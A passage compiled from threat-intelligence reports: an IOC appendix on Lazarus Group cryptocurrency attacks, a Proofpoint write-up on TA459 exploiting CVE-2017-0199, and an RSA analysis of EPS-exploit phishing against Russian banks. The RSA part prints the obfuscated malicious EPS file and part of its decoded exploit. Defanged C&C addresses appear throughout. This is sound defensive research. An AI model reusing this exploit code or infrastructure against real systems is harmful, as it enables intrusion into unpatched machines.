cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411 9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453 5a162898a38601e41d538f067eaf81d6a038268bc52a86cf13c2e43ca2487c07 PowerSpritz C&C hxxp://dogecoin.deaftone[.]com:8080/mainls.cs hxxp://macintosh[.]linkpc[.]net:8080/mainls.cs Microsoft Compiled HTML Help (CHM) Hashes 81617bd4fa5d6c1a703c40157fbe16c55c11260723b7f63de022fd5dd241bdbf d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48 4eb2dd5e90bda6da5efbd213c8472775bdd16e67bcf559f58802a8c371848212 01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49 I3e91f399d207178a5aa6de3d680b58fc3f239004e541a8bff2cc3e851b76e8bb 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 85a263fc34883fc514be48da2d814f1b43525e63049c6b180c73c8ec00920f51 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 Microsoft Compiled HTML Help (CHM) C&C hxxp://92.222.106[.]229/theme.gif hxxp://www.businesshop[.]net/hide.gif MS Shortcut Link (LNK) Hashes beecb33ef8adec99bbba3b64245c7230986c3c1a7f3246b0d26c641887387bfe 8f0b83d4ff6d8720e134b467b34728c2823c4d75313ef6dce717b06f414bdf5c MS Shortcut Link (LNK) C&C hxxp://tinyurl[.]com/y9jbk8cg hxxp://201.211.183[.]215:8080/pdfviewer.php?o=0&t=report&m=0 JavaScript Hashes e7581e1f112edc7e9fbb0383dd5780c4f2dd9923c4acc09b407f718ab6f7753d 7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e 100c6400331fa1919958bed122b88f1599a61b3bb113d98b218a535443ebc3a7 8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3 97c6c69405ed721a64c158f18ab4386e3ade19841b0dea3dcce6b521faf3a660 41ee2947356b26e4d8aca826ae392be932cd8800476840713e9b6c630972604f 25f13dca780bafb0001d521ea6e76a3bd4dd74ce137596b948d41794ece59a66 JavaScript C&C hxxp://51.255.219[.]82/files/download/falconcoin.zip hxxp://51.255.219[.]82/theme.gif hxxp://51.255.219[.].82/files/download/falconcoin.pdf hxxp://apps.got-game[.]org/images/character.gif North Korea Bitten by Bitcoin Bug hxxp://apps.got-game[.]org/files/download/transaction.pdf hxxp://www.energydonate[.]com/files/download/bithumb.zip hxxp://www.energydonate[.]com/images/character.gif hxxp://www.energydonate[.]com/files/download/bithumb.pdf MS Office Docs Hashes b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f15e7bbad1ce8173c7960 b9cf1cba0f626668793b9624e55c76e2dab56893b21239523f2a2a0281844c6d 972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee MS Office Docs C&C 198.100.157[.]239 hxxp://www.energydonate[.]com/files/download/Bithumb.zip hxxp://www.energydonate[.]com/images/character.gif PyInstaller Hashes b530de08530d1ba19a94bc075e74e2236c106466dedc92be3abdee9908e8cf7e eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1 eb372423e4dcd4665cc03ffc384ff625ae4afd13f6d0589e4568354be271f86e PyInstaller Hosting or Email IDNA xn--bitcin-zxa[.]org xn--electrm-s2a[.]org xn--bitcingold-hcb[.]org xn--bitcoigold-o1b[.]com xn--bitcoingld-lcb[.]com xn--bitcoingld-lcb[.]org xn--bitcoingod-8yb[.]com xn--btcongold-54ad[.]com xn--btcongold-g5ad[.]com Likely Related IDNA xn--6fgp[.]com xn--bitcingold-5bb.[]com xn--bitcingold-jbb[.]com xn--bitcingold-t3b[.]com xn--bitcoingol-4kb[.]com xn--bitoingold-1ib[.]com xn--btcoingold-v8a[.]com xn--bitcoingldwallet-twb[.]org PyInstaller C&C hxxp://www.btc-gold[.]us/images/top_bar.gif hxxp://trade.publicvm[.]com/images/top_bar.gif PowerRatankba Hashes 41f155f039448edb42c3a566e7b8e150829b97d83109c0c394d199cdcfd20f9b 20f7e342a5f3224cab8f0439e2ba02bb051cd3e1afcd603142a60ac8af9699ba db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471 3cd0689b2bae5109caedeb2cf9dd4b3a975ab277fadbbb26065e489565470a5c b265a5d984c4654ac0b25ddcf8048d0aabc28e36d3e2439d1c08468842857f46 1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 99ad06cca4910c62e8d6b68801c6122137cf8458083bb58cbc767eebc220180d f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a NOTE: Several of these domains reflect themes and brands (only BTG) that are confirmed to have been used in phishing attacks. Additionally, they were registered in the same timeframe, at the same registrar, with matching server characteristics that were observed in the confirmed IDNA infrastructure domains. These domains in no way indicate that they have been used for attacks, nor that the themes utilized indicate that the entity in question has been targeted or compromised. We simply assess that this infrastructure is related to Lazarus Group and currently do not know how or if it was utilized for campaigns. North Korea Bitten by Bitcoin Bug PowerRatankba C&C 51.255.219[.]82 144.217.51[.]246 158.69.57[.]135 198.100.157[.]239 201.139.226[.]67 92.222.106[.]229 apps.got-game[.]org trade.publicvm[.]com www.businesshop[.]net vietcasino.linkpc[.]net Related Unknown Purpose C&C coinbases[.]org africawebcast[.]com bitforex.linkpc[.]net macintosh.linkpc[.]net coinbroker.linkpc[.]net moneymaker.publicvm[.]com RFC18 Gh0st RAT 3a856d8c835232fe81711680dc098ed2b21a4feda7761ed39405d453b4e949f6 RFC18 Gh0st RAT Download Locations hxxp://180.235.133[.]235/img.gif hxxp://180.235.133[.]121/images/img.gif RFC18 Gh0st RAT C&C 180.235.133[.]235:443 180.235.133[.]121:443 51.255.219[.]82:443 158.69.57[.]135:443 RatankbaPOS ITW hxxp://www.webkingston[.]com/top.gif RatankbaPOS Hashes b66624ab8591c2b10730b7138cbf44703abec62bfc7774d626191468869bf21c 79a4b6329e35e23c3974960b2cecc68ee30ce803619158ef3fefcec5d4671c98 d334c40b42d2e6286f0553ae9e6e73e7e7aaec04a85df070b790738d66fd14fb 2b05a692518a6102c540e209cb4eb1391b28944fdb270aef7ea47e1ddeff5ae2 RatankbaPOS Loader C&C hxxp://www.webkingston[.]com/update.jsp?action=need_update RatankbaPOS Exfiltration C&C hxxp://www.energydonate[.]com/list.jsp?action=up hxxp://online-help[.]serveftp[.]com/list.jsp?action=up North Korea Bitten by Bitcoin Bug ET and ETPRO Suricata/Snort Signatures 2824864,ETPRO TROJAN Ratankba Recon Backdoor/Module CnC Beacon 1 2828904,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M1 2828905,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M2 2828906,ETPRO TROJAN RatankbaPOS CnC Checkin 2828921,ETPRO TROJAN PowerRatankba DNS Lookup 1 2828922,ETPRO TROJAN PowerRatankba DNS Lookup 2 2828923,ETPRO TROJAN PowerRatankba DNS Lookup 3 2828924,ETPRO TROJAN PowerRatankba DNS Lookup 4 2828925,ETPRO TROJAN PowerRatankba DNS Lookup 5 2828926,ETPRO TROJAN PowerRatankba DNS Lookup 6 2828927,ETPRO TROJAN PowerRatankba DNS Lookup 7 2828928,ETPRO TROJAN PowerRatankba DNS Lookup 8 2828929,ETPRO TROJAN PowerRatankba DNS Lookup 9 2828930,ETPRO TROJAN PowerRatankba DNS Lookup 10 2828931,ETPRO TROJAN PowerRatankba DNS Lookup 11 2828932,ETPRO TROJAN PowerRatankba DNS Lookup 12 2828933,ETPRO TROJAN PowerRatankba DNS Lookup 13 2828934,ETPRO TROJAN PowerRatankba DNS Lookup 14 2828935,ETPRO TROJAN PowerRatankba DNS Lookup 15 2828936,ETPRO TROJAN PowerRatankba DNS Lookup 16 2828937,ETPRO TROJAN PowerRatankba DNS Lookup 17 2828938,ETPRO TROJAN PowerRatankba DNS Lookup 18 2828939,ETPRO TROJAN PowerRatankba DNS Lookup 19 2828940,ETPRO TROJAN PowerRatankba DNS Lookup 20 2828941,ETPRO TROJAN PowerRatankba DNS Lookup 21 2828942,ETPRO TROJAN PowerRatankba DNS Lookup 22 2828943,ETPRO TROJAN PowerRatankba DNS Lookup 23 2828944,ETPRO TROJAN PowerRatankba DNS Lookup 24 2828945,ETPRO TROJAN PowerRatankba DNS Lookup 25 2828946,ETPRO TROJAN PowerRatankba DNS Lookup 26 2828947,ETPRO TROJAN PowerRatankba DNS Lookup 27 2828948,ETPRO TROJAN PowerRatankba DNS Lookup 28 2828949,ETPRO TROJAN PowerRatankba DNS Lookup 29 2828950,ETPRO TROJAN PowerRatankba DNS Lookup 30 2828951,ETPRO TROJAN PowerRatankba DNS Lookup 31 2828952,ETPRO TROJAN PowerRatankba DNS Lookup 32 2828953,ETPRO TROJAN PowerRatankba DNS Lookup 33 2828971,ETPRO TROJAN RatankbaPOS POS Exfiltration North Korea Bitten by Bitcoin Bug ABOUT PROOFPOINT Proofpoint, Inc. (NASDAQ:PFPT), a next-generation cybersecurity company, enables organizations to protect the way their people work today from advanced threats and compliance risks. Proofpoint helps cybersecurity professionals protect their users from the advanced attacks that target them (via email, mobile apps, and social media), protect the critical information people create, and equip their teams with the right intelligence and tools to respond quickly when things go wrong. Leading organizations of all sizes, including over 50 percent o f the Fortune 100, rely on Proofpoint solutions, which are built for today s mobile and social-enabled IT environments and leverage both the power of the cloud and a big-data-driven analytics platform to combat modern advanced threats. www.proofpoint.com Proofpoint, Inc. Proofpoint is a trademark of Proofpoint, Inc. in the United States and other countries. All other trademarks contained herein are property of their respective owners. APT Targets Financial Analysts with CVE-2017-0199 proofpoint.com /us/threat-insight/post/apt-targets-financial-analysts On April 20, Proofpoint observed a targeted campaign focused on financial analysts working at top global financial firms operating in Russia and neighboring countries. These analysts were linked by their coverage of the telecommunications industry, making this targeting very similar to, and likely a continuation of, activity described in our In Pursuit of Optical Fibers and Troop Intel blog. This time, however, attackers opportunistically used spearphishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan, which in turn downloaded the PlugX Remote Access Trojan (RAT). Proofpoint is tracking this attacker, believed to operate out of China, as TA459. The actor typically targets Central Asian countries, Russia, Belarus, Mongolia, and others. TA549 possesses a diverse malware arsenal including PlugX, NetTraveler, and ZeroT. [1][2][3] In this blog, we also document other 2017 activity so far by this attack group, including their distribution of ZeroT malware and secondary payloads PCrat/Gh0st. Analysis In this campaign, attackers used a Microsoft Word document called 0721.doc, which exploits CVE-2017-0199. This vulnerability was disclosed and patched days prior to this attack. Figure 1: Microsoft Word document 0721.doc The document uses the logic flaw to first download the file power.rtf from hxxp://122.9.52[.]215/news/power.rtf. The payload is actually an HTML Application (HTA) file, not an RTF document. Figure 2: The first script downloaded by the exploit document is an HTA file As shown in the figure above, the HTA s VBScript changes the window size and location and then uses PowerShell to download yet another script: power.ps1. This is a PowerShell script that downloads and runs the ZeroT payload cgi.exe. Figure 3: The second script downloaded by the exploit document is a PowerShell script Figure 4: Combined network traffic showing the document downloading its payloads ZeroT and other payloads The attack group has made incremental changes to ZeroT since our last analysis. While they still use RAR SFX format for the initial payloads, ZeroT now uses a the legitimate McAfee utility (SHA256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe) named mcut.exe instead of the Norman Safeground AS for sideloading as they have in the past. The encrypted ZeroT payload, named Mctl.mui, is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously. Once ZeroT is running, we observed that the fake User-Agent used in the requests changed from Mozilla/6.0 (compatible; MSIE 10.0; Windows NT 6.2; Tzcdrnt/6.0) to Mozilla/6.0 (compatible; MSIE 11.0; Windows NT 6.2) thus removing the Tzcdrnt typo observed in previous versions. The initial beacon to index.php changed to index.txt but ZeroT still expects an RC4-encrypted response using a static key: (*^GF(9042&* Figure 5: ZeroT initial beacon over HTTP requesting URL configuration Next, ZeroT uses HTTP beacons to transmit information about the infected system to the command and control (C&C). All posts are encrypted, unlike the last time we analyzed a sample from this actor, when the first POST was accidentally not encrypted. After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least Significant Bit (LSB) Steganography to hide the real payloads. These images appear normal in image viewers. Figure 6: Collage of example BMP images containing stage 2 payloads hidden using LSB steganography The stage 2 payload was PlugX that beaconed to C&C servers www[.]icefirebest[.]com and www[.]icekkk[.]net. Figure 7: ZeroT and PlugX HTTP network activity Additional 2017 activity by TA459 Throughout 2017 we observed this threat actor actively attempting to compromise victims with various malware payloads. ZeroT remained the primary stage 1 payload, but the stage 2 payloads varied. One such interesting example was .rar (SHA256 b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda). Translated from Russian, this file is named PROJECT REALIZATION PLAN and contains a compressed .scr executable. This ZeroT executable communicated with the C&C domain www[.]kz-info[.]net and downloaded PlugX as well as an additional PCRat/Gh0st Trojan which communicated with the www[.]ruvim[.]net C&C server. PCRat/Gh0st is a payload that we do not see this group using frequently. Another interesting ZeroT sample (SHA256 bc2246813d7267608e1a80a04dac32da9115a15b1550b0c4842b9d6e2e7de374) contained the executable 0228.exe and a decoy document 0228.doc in the RAR SFX archive. Bundling decoy documents is a common tactic by this group. RAR SFX directives are used to display the decoy while the malicious payload is executed. We suspect that this specific lure was copied from the news article hxxp://www.cis.minsk[.]by/news.php?id=7557. This article was about , translated from Russian as 73rd meeting of the CIS Economic Council , which describes a meeting held in Moscow by the Commonwealth of Independent States (CIS) countries, an organization that includes nine out of the fifteen former Soviet Republics. Figure 8: Decoy document Figure 9: The believed source of the text in decoy document Conclusion TA459 is well-known for targeting organizations in Russia and neighboring countries. However, their strategy, tactics, techniques, and procedures in this particular attack emphasize the importance of rigorous patching regimens for all organizations. Even as software vulnerabilities often take a back seat to human exploits and social engineering, robust defenses must include protection at the email gateway, proactive patch management, and thoughtful end user education. Paying attention to the details of past attacks is also an important means of preparing for future attacks. Noting who is targeted, with what malware, and with what types of lures provide clues with which organizations can improve their security posture. At the same time, multinational organizations like the financial services firms targeted here must be acutely aware of the threats from state-sponsored actors working with sophisticated malware to compromise users and networks. Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats, phishing campaigns, and socially engineered threats every day. References [1]https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia [3]https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests [3]https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx Indicators of Compromise (IOCs) IOC Type Description a64ea888d412fd406392985358a489955b0f7b27da70ff604e827df86d2ca2aa SHA256 0721.doc CVE2017-0199 hxxp://122.9.52[.]215/news/power.rtf 0721.doc payload hxxp://122.9.52[.]215/news/power.ps1 0721.doc payload hxxp://www.firesyst[.]net/info/net/sports/drag/cgi.exe 0721.doc payload bf4b88e42a406aa83def0942207c8358efb880b18928e41d60a2dc59a59973ba SHA256 ZeroT (cgi.exe) www.firesyst[.]net Hostname ZeroT C&C www.icekkk[.]net Hostname PlugX C&C IOC Type Description www.kz-info[.]net Hostname ZeroT C&C www.firesyst[.]net Hostname ZeroT C&C www.buleray[.]net Hostname ZeroT C&C www.intersu[.]net Hostname ZeroT C&C 868ee879ca843349bfa3d200f858654656ec3c8128113813cd7e481a37dcc61a SHA256 ZeroT Indicators of Compromise (IOCs) - Related 4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa SHA256 ZeroT 5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf SHA256 ZeroT b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda SHA256 ZeroT ab4cbfb1468dd6b0f09f6e74ac7f0d31a001d396d8d03f01bceb2e7c917cf565 SHA256 ZeroT 79bd109dc7c35f45b781978436a6c2b98a5df659d09dee658c2daa4f1984a04e SHA256 ZeroT www.icekkk[.]net Hostname PlugX C&C www.icefirebest[.]com Hostname PlugX C&C www.ruvim[.]net Hostname PlugX C&C ET and ETPRO Suricata/Snort Coverage 2821028 | ETPRO TROJAN APT.ZeroT CnC Beacon HTTP POST 2825365 | ETPRO TROJAN APT.ZeroT CnC Beacon Fake User-Agent 2824641 | ETPRO TROJAN APT.ZeroT Receiving Config 2810326 | ETPRO TROJAN PlugX Related Checkin 2024196 | ET WEB_CLIENT HTA File containing Wscript.Shell Call - Potential Office Exploit Attempt 2024197 | ET CURRENT_EVENTS SUSPICIOUS MSXMLHTTP DL of HTA (Observed in RTF 0-day ) 2016922 | ET TROJAN Backdoor family PCRat/Gh0st CnC traffic 2021716 | ET TROJAN Backdoor family PCRat/Gh0st CnC traffic (OUTBOUND) 102 Russian Bank Offices Hit with Broad Phishing Wave community.rsa.com /community/products/netwitness/blog/2017/08/17/russian-bank-offices-hit-with-broad-phishing-wave By far most of the bank-related phishing campaigns described in security advisories and reports consist of bank customers being targeted for their online credentials. Much less common is a phishing campaign targeting the banks themselves. Perhaps fraudsters know that there are a lot more bank customers than there are banks, and generally banks have a more hardened security posture than the average bank s customer. Target: multiple bank offices in Russia But still, payoff potential for a successful bank compromise might be considerable. In this threat advisory, we describe a Russian-language phishing campaign active during the second week of August 2017, targeting not the usual banking customers, but the Russian banks themselves. And in an unusual reversal of typical bank phishing social engineering tactics, the phishing emails purport to be from the bank s customers. Consider the following phish delivered to the email address displayed on the bank s website. In the email screenshot with our added machine translation from Russian, notice the subject line and message body text reflecting a business customer upset about extra charges on his credit card social engineering theme (Figure 1). Figure 1 Phishing email targeting Russia bank #1, machine translation in red boxes Figure 2 is a screenshot of another phishing email obtained by RSA FirstWatch, targeting Russia bank #2. While this email is part of the same campaign, note that the body text, subject lines, file name, and @mail.com sender email is different from that targeting Russia bank #1, suggesting at least some manual actor modifications to the phishing email construction. Figure 2 Phishing email targeting Russia bank #1, machine translation in red boxes RSA FirstWatch identified 23 such attachments in this campaign, all using what appeared to be the exact same EPS exploit. The disgruntled banking customer was consistent throughout; illustrated below are a few attachment examples: Exploit attachment #1 was deployed with the following names in Russian: .docx ("Account statement") .docx ("Card statement") .docx ("Personal information") Exploit attachment #2 was deployed with the following names: .docx (or Card statement .docx (or Customer card statement Exploit attachment #3 was deployed using the following name: .docx (or Statement Note: Hashes of all samples will be included in the Appendix of this analysis. As of 10 August 2017, RSA FirstWatch has high confidence that multiple individuals at many Russian banks were targeted with these malicious attachments, and believe this campaign was subsequently brought to the attention of the Central Bank of Russia s FinCERT by one or more of the banks being targeted. On 17 August 2017, the day we were finishing up this analysis, a new sample was discovered being deployed, with a different C2 node and slightly different communication. An exploit in someone else s wrapper? Before we get to details about the exploit used in this campaign, we should cover some history on EPS exploits in docx files. FireEye discovered a malicious docx exploiting a zero day vulnerability in Microsoft s Encapsulated Postscript (EPS) filter, in the summer of 2015. This EPS exploit was assigned CVE-2015-2545. In March 2017, FireEye observed both nation state and financially motivated actors using EPS zero day exploits assigned as CVE-2017-0261 and CVE-2017-0262, prior to Microsoft disabling EPS rendering in its Office products with an update in April 2017. So it is likely one of these three EPS exploits is being employed with the perpetrator activity under investigation, perhaps hoping that their targets haven t applied the April patch that would make every EPS exploit futile. Since docx files are just a Zip-compressed container, comparing them with a file tree view might be a quick way to assess similarity on a high level. In fact, all 23 known docx files used in this campaign are very nearly identical, with the same 12 component files. Varying checksums might have to do with build artifacts, perhaps even intentionally so, in order to generate a unique hash with each build. Figure 3 Tree view of docx container file used to target Russian banks last week Interesting enough 10 of these 12 docx component files (everything but the image1.eps and document.xml files) are dated April 18 th. This is no coincidence; in fact, those same docx component files were found in the attachment used by nation-state actors in their email targeting of an Eastern European Ministry of Foreign Affairs , back when this EPS exploit was still a zero day (Figure 4). Figure 4 Eastern European Ministry of Foreign Affairs targeted by suspected nation state actors So if we compare the tree view of that older docx container (Figure 5), we see that 10 of the same component files appear identical, and we can confirm that using cryptographic hashing. Figure 5 Tree view of "Trump" exploit docx container, with 10 of 12 files identical to 23 recent RU bank targeting samples described in this investigation Of special note is the common app.xml file, which comes directly from the decoy document in the Trump exploit file. This app.xml file contains the same URL to the California Courier website (www[.]thecaliforniacourier[.]com), where the text was copied from Trump s Attack on Syria: Wrong for so Many Reasons as described by ESET in their exploit analysis . Clearly there was some borrowing going on between this current bank-targeting campaign and the previous nation-state espionage campaign. Does this suggest that these campaigns and actors are in any way complicit/related? No. On the contrary, national interests seem to imply that those particular espionage-focused actors (i.e., from the Trump campaign) would almost certainly NOT be involved in broadly exploiting Russian banks a few months later. That being said, an alternative hypothesis is that these bank-targeting actors purposely purloined the older espionage related docx files to introduce uncertainty and/or mis-attribution, or even to send a message to defenders or researchers. As we'll see shortly, the attackers also interestingly signed (commented) their malware with lyrics from Slipknot's Snuff. Figure 6 Google result with Slipknot Snuff lyrics Which exploit is this? Obfuscation is important for exploits, especially when a campaign that is broad as this one is up against a gamut of financial institutions with AV s that have had plenty of time to add detection for known EPS exploits. With initial AV coverage of these two dozen or so attachments in the single digits out of more than 50 AV vendors, RSA Engineering s Kevin Douglas jumped at the chance to flex his deobfuscation skills, and here steps us through our exploit assessment. Step 1. Unzipping the sample DOCX file, reveals the following embedded EPS Image file unzip ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 Archive: ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 inflating: [Content_Types].xml inflating: docProps/app.xml inflating: docProps/core.xml inflating: word/document.xml inflating: word/fontTable.xml inflating: word/settings.xml inflating: word/styles.xml inflating: word/webSettings.xml inflating: word/media/image1.eps inflating: word/theme/theme1.xml inflating: word/_rels/document.xml.rels inflating: _rels/.rels Step 2. Examining the app.xml file, we can see a suspicious URL artifact cat docProps/app.xml 12 9585462Microsoft Office Word045 12falseTitle 1 false6408false 4456521005 hXXp://www[.]thecaliforniacourier[.]com false15.0000 Step 3. Examining the image1.eps file, we can see: 1. A likely multibyte XOR key (<7a5d5e20>) Quoting lyrics from Slipknot's Snuff in the comments (%%Myheartisjusttoodarktocare, %%Icantdestroywhatisntthere) 3. A likely XOR encoded hexadecimal payload (<017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491 4. 9297e421f3a 5. A likely XOR decode loop: (0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put } for A1 } ) 6. A likely execution of the payload once it is decoded (exec ) 7. Repetitive obfuscated comments translating to kasper-pidor kasper-pidor kasper-pidor kasper-pidor scattered throughout to make the code that make it harder to read. These are highlighted in green... and possibly speak to something more personal between the actors and Kaspersky possibly? (e.g., %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220) Dump of image1.EPS code: %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 31 24 51 654 %%Page: 1 1 /Times-Roman findfont globaldict %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 begin /l0 11 def l0 scalefont setfont newpath /E1 600 def 4 E1 moveto /l2 E1 def /l3 { /l4 exch def /l2 l2 l0 sub def 12 l2 moveto l4 show } /min { 2 copy gt { exch } if pop } bind def /max { 2 copy lt { exch } if pop } bind def /A3{ token pop exch pop } %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def /A2 %%6b61737065722d706 %%6b61737065722d706 <7a5d5e20> def /A4{ %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 /A1 exch %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def 0 1 A1 length 1 sub %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 put } for A1 } %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def <017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491 9297e421f3a374e5a721f11497d66104a6d6e105a393b465a721f11487d1f11497d6f165a343a490c7d6f001b393a001e383800551c660 0017d71614f697e45023e36001e383800551c6c165a382643127d3a451c7d7161496a7e61486b7e4c1f333954127d3a451c7d71614f6a7e 614f697e4c1f333954127d3a451c7d71614e6c7e124f6b7e441f3b7e0f3b6c6f003b6e69003b696f001339375[ ]0077d7e00> %% quit 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%Myheartisjusttoodarktocare %%Icantdestroywhatisntthere %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 A4 %%6b61737065722d7069646f72206b61 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 A3 %%6b61737065722d7069646f72206b61 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 exec %%6b61737065722d7069646f72206b61 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 showpage quit Step 4. Decoding the payload Using the multibyte XOR Key (7a5d5e20), the payload can be decoded by XOR ing each byte of the payload with its (position % 4) in the XOR key. For example, position 0 in the payload is XOR d against 0x7a, position 1 is XOR d against 0x5d, position 2 is XOR d against 0x5e, position 3 is XOR d against 0x20. Then the cycle repeats for subsequent payload bytes. Code similar to what's pasted below would decode it (acBuffer is payload, acKeys is XOR key). for (int ctr = 0; ctr < sizeof(acPayload) - 1; ctr++) { printf("%c", acPayload[ctr] ^ (acKeys[(ctr % 4)])); This results in the decoded payload snippet pasted below. Highlighted is most likely an encoded payload used in the next stage. Also highlighted below are Windows DLL and function artifacts indicating maliciousness. { /Helvetica findfont 100 scalefont setfont globaldict begin /A13 800000 def /A12 A13 16 idiv 1 add def /A8 { /A54 exch def /A26 exch def /A37 A26 length def /A57 A54 length def /A41 256 def /A11 A37 A41 idiv def { /A11 A11 1 sub def A11 0 lt{ exit } if A26 A11 A41 mul A54 putinterval } loop A26 } bind def /A61 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A63 exch def A34 sub 65535 and A22 A43 sub A63 A34 sub 0 lt { 1 } { 0 } ifelse sub 16 bitshift or } bind def /A60 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A59 exch def A34 add 65535 and A22 A43 add A59 A34 add -16 bitshift add 16 bitshift or } bind def /A17 { /A46 exch def A18 A46 get A18 A46 1 A60 get 8 bitshift A60 A18 A46 2 A60 get 16 bitshift A60 A18 A46 3 A60 get 24 bitshift A60 } bind def /A2 { /A45 exch def /A20 exch def A18 A20 A45 255 and put A18 A20 1 A60 A45 -8 bitshift 255 and put A18 A20 2 A60 A45 -16 bitshift 255 and put A18 A20 3 A60 A45 -24 bitshift 255 and put } bind def /A47 { A18 exch get } bind def /A29 { 2147418112 and /A56 exch def { A18 A56 get 77 eq { A18 A56 1 A60 get 90 eq { A56 60 A60 A17 dup 512 lt { A56 A60 dup A47 80 eq { 1 A60 A47 69 eq { exit } if } { pop } ifelse } { pop } ifelse } if } if /A56 A56 65536 sub def } loop A56 } bind def /A51 { /A33 exch def /A38 exch def /A44 A38 dup 60 A60 A17 A60 def A18 A44 25 A60 get dup 01 eq { pop /A62 A38 A44 128 A60 A17 A60 def /A32 A44 132 A60 A17 def } { 02 